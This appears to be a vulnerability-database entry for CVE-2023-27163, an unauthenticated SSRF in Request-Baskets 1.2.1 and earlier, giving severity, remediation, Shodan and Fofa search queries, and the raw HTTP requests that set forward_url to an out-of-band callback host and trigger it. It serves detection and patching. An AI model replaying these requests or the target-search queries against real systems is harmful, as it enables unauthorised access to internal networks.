| Title | Request-Baskets <= 1.2.1 - Server Side Request Forgery |
|---|---|
| Author | Jaenact |
| Severity | Medium |
| Impact | Attackers can perform SSRF attacks to access internal network resources, scan internal systems, or interact with services that should not be accessible from external networks. |
| Remediation | Upgrade to Request-Baskets version 1.2.2 or later that addresses this SSRF vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.92878 |
| CVE ID | CVE-2023-27163 |
| CWE ID | CWE-918 |
| Shodan Query | http.html:"Request-Baskets" |
| Fofa Query | body="Request-Baskets" |
| Tags | cve cve2023 ssrf request-baskets oast proxy vkev vuln |
Request-Baskets <= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.
POST /api/baskets/z2yCSek HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 171
Content-Type: application/json
Accept-Encoding: gzip
{
"forward_url": "http://d5jko09le0o4b84fhth0wx55wi1ibd34r.oast.fun",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
GET /z2yCSek HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27163.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-27163.pcap
N/AN/A